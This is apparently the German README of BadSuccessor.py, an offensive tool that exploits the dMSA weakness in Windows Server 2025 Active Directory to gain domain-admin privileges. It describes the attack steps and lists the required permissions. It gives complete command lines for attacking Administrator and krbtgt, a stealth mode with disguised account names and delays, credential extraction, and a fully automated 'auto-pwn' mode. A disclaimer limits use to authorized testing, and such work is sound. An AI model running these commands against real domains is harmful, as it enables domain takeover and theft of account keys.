BadSuccessor.py

Ein Penetrationstest-Tool, das die dMSA-Schwachstelle (delegated Managed Service Account) zur Privilegienerweiterung in Windows Server 2025 Active Directory-Umgebungen ausnutzt.

⚠️ Rechtlicher Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschungszwecke bestimmt. Die Verwendung dieses Tools gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

⚠️ Hinweis zum Entwicklungsstatus & zur Umgebungstestung

WICHTIG: Dieses Tool befindet sich in aktiver Entwicklung und Testung.

Aktueller Status

• Einführung von Windows Server 2025: Stand Mai 2025 befindet sich Windows Server 2025 noch in einer frühen Einführungsphase mit begrenzten Produktionsbereitstellungen
• Umgebungsunterschiede: Aufgrund der begrenzten Anzahl verfügbarer Windows Server 2025-Umgebungen für Tests kann dieses Tool auf ungetestete Konfigurationen stoßen
• Laufende Entwicklung: Wir verfeinern das Tool aktiv, während weitere Umgebungsvarianten bereitgestellt und getestet werden

Was das bedeutet

• Updates erwarten: Das Tool wird häufige Updates erhalten, sobald neue Umgebungstypen getestet werden
• Probleme melden: Ihr Feedback ist entscheidend – bitte melden Sie alle Probleme oder Randfälle, auf die Sie stoßen
• Sorgfältig testen: Testen Sie immer zuerst in einer Nicht-Produktionsumgebung
• Schema-Abweichungen: Unterschiedliche Windows Server 2025-Builds können dMSA-Attribute unterschiedlich implementieren
• Feature-Stabilität: Während die Kernfunktionalität stabil ist, müssen einige Funktionen möglicherweise an bestimmte Umgebungen angepasst werden

Bekannte Variablen, die verfolgt werden

• Verschiedene Windows Server 2025-Build-Versionen
• Benennungskonventionen für Schema-Attribute
• Regionale/lokalisierte AD-Implementierungen
• Hybride Cloud-Konfigurationen
• Verschiedene AD-Funktionsebenen
• Unterschiedliche Sicherheitshärtungs-Konfigurationen

Community-Tests

Wir ermutigen die Sicherheitscommunity dazu:

• In verschiedenen Umgebungen zu testen
• Erkenntnisse zu teilen (bereinigt)
• Pull Requests für Kompatibilitätsverbesserungen einzureichen
• Umgebungsabweichungen zu melden

Durch die Nutzung dieses Tools erkennen Sie an, dass es sich in aktiver Entwicklung befindet und möglicherweise Änderungen für Ihre spezifische Umgebung erfordert.

📋 Übersicht

BadSuccessor nutzt eine Privilegienerweiterungs-Schwachstelle in der Funktion "delegated Managed Service Account" (dMSA) von Windows Server 2025 aus. Die Schwachstelle erlaubt Angreifern mit minimalen Berechtigungen, Privilegien auf jeden Benutzer in der Domäne auszuweiten, einschließlich Domänenadministratoren.

Forschungsanerkennung

Dieses Tool basiert auf der hervorragenden Forschung von Yuval Gordon von Akamai Technologies:

• BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory

🎯 Details zur Schwachstelle

Die Schwachstelle besteht im dMSA-Migrationsprozess, bei dem:

1. Ein Angreifer ein bösartiges dMSA in einer beliebigen beschreibbaren OU erstellt
2. msDS-ManagedAccountPrecededByLink oder ms-DS-Managed-Account-Preceded-By-Link so setzt, dass es auf einen Zielbenutzer zeigt
3. msDS-DelegatedMSAState oder ms-DS-Delegated-MSA-State auf 2 setzt (Migration abgeschlossen)
4. Der KDC dem dMSA automatisch alle Privilegien des Zielbenutzers über die PAC-Vererbung gewährt

Zusätzlich enthält die Struktur KERB-DMSA-KEY-PACKAGE die Passwortschlüssel des Zielbenutzers, was die Extraktion von Anmeldedaten ermöglicht.

✅ Voraussetzungen

Systemanforderungen

• Linux-Rechner (nicht der Domäne beigetreten)
• Python 3.6+
• Netzwerkzugriff auf die Ziel-Active-Directory-Umgebung
• Die Zieldomäne muss mindestens einen Windows Server 2025-Domänencontroller besitzen

Python-Abhängigkeiten```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**Hinweis**: Das Tool wurde mit impacket 0.12.0 getestet. Zur Laufzeit werden Kompatibilitätswarnungen angezeigt.

### Optionale Abhängigkeiten```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Erforderliche Berechtigungen

• Gültige Domänenanmeldeinformationen (beliebiges Benutzerkonto)
• JEDE der folgenden Berechtigungen für mindestens eine Organisationseinheit:
  • CreateChild-Berechtigung
  • Write-Berechtigung
  • GenericWrite-Berechtigung
  • GenericAll-Berechtigung
  • Mitglied von Standardgruppen mit Schreibzugriff (z. B. Authentifizierte Benutzer)
• Das Tool erkennt automatisch alle beschreibbaren Organisationseinheiten und zeigt die spezifischen Berechtigungen an

🚀 Installation```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 Verwendung

Grundlegende Syntax```bash

python3 badsuccessor.py -d -u -p [options]

### Schnellstart-Beispiele

#### 1. Trockenlaufmodus (NEU) - Testen ohne Änderungen vorzunehmen```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. Umgebung aufzählen```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. Angriff durchführen```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. Anmeldedaten extrahieren```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. Sitzungsverwaltung (NEW)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID